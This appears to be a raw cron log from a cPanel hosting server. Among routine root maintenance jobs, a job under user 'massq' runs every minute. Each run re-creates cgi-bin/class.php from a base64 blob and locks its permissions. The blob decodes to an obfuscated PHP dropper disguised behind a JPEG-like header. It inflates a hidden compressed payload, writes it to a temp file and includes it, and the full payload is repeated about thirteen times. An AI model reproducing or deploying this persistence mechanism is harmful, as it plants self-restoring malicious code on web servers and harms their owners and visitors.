Sep  6 22:22:01 server CROND[26172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:22:01 server CROND[26171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:23:01 server CROND[26632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:23:01 server CROND[26633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:23:01 server CROND[26634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:24:01 server CROND[27005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:24:01 server CROND[27006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:24:01 server CROND[27007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:25:01 server CROND[27385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:25:01 server CROND[27389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:25:01 server CROND[27391]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:25:01 server CROND[27390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:25:01 server CROND[27393]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 22:25:01 server CROND[27392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:25:01 server CROND[27387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:25:01 server CROND[27388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:26:01 server CROND[28212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:26:01 server CROND[28213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:26:01 server CROND[28214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:27:01 server CROND[28594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:27:01 server CROND[28595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:27:01 server CROND[28596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:27:01 server CROND[28597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:28:01 server CROND[28967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:28:01 server CROND[28968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:28:01 server CROND[28969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:29:01 server CROND[29332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:29:01 server CROND[29333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:29:01 server CROND[29334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:30:01 server CROND[29807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:30:01 server CROND[29808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:30:01 server CROND[29815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:30:01 server CROND[29818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:30:01 server CROND[29816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:30:01 server CROND[29814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:30:01 server CROND[29817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:30:01 server CROND[29819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:31:01 server CROND[30633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:31:01 server CROND[30634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:31:01 server CROND[30635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:32:01 server CROND[31011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:32:01 server CROND[31012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:32:01 server CROND[31013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:33:01 server CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:33:01 server CROND[31389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:33:01 server CROND[31391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:34:01 server CROND[31752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:34:01 server CROND[31753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:34:01 server CROND[31754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:35:01 server CROND[32234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:35:01 server CROND[32248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
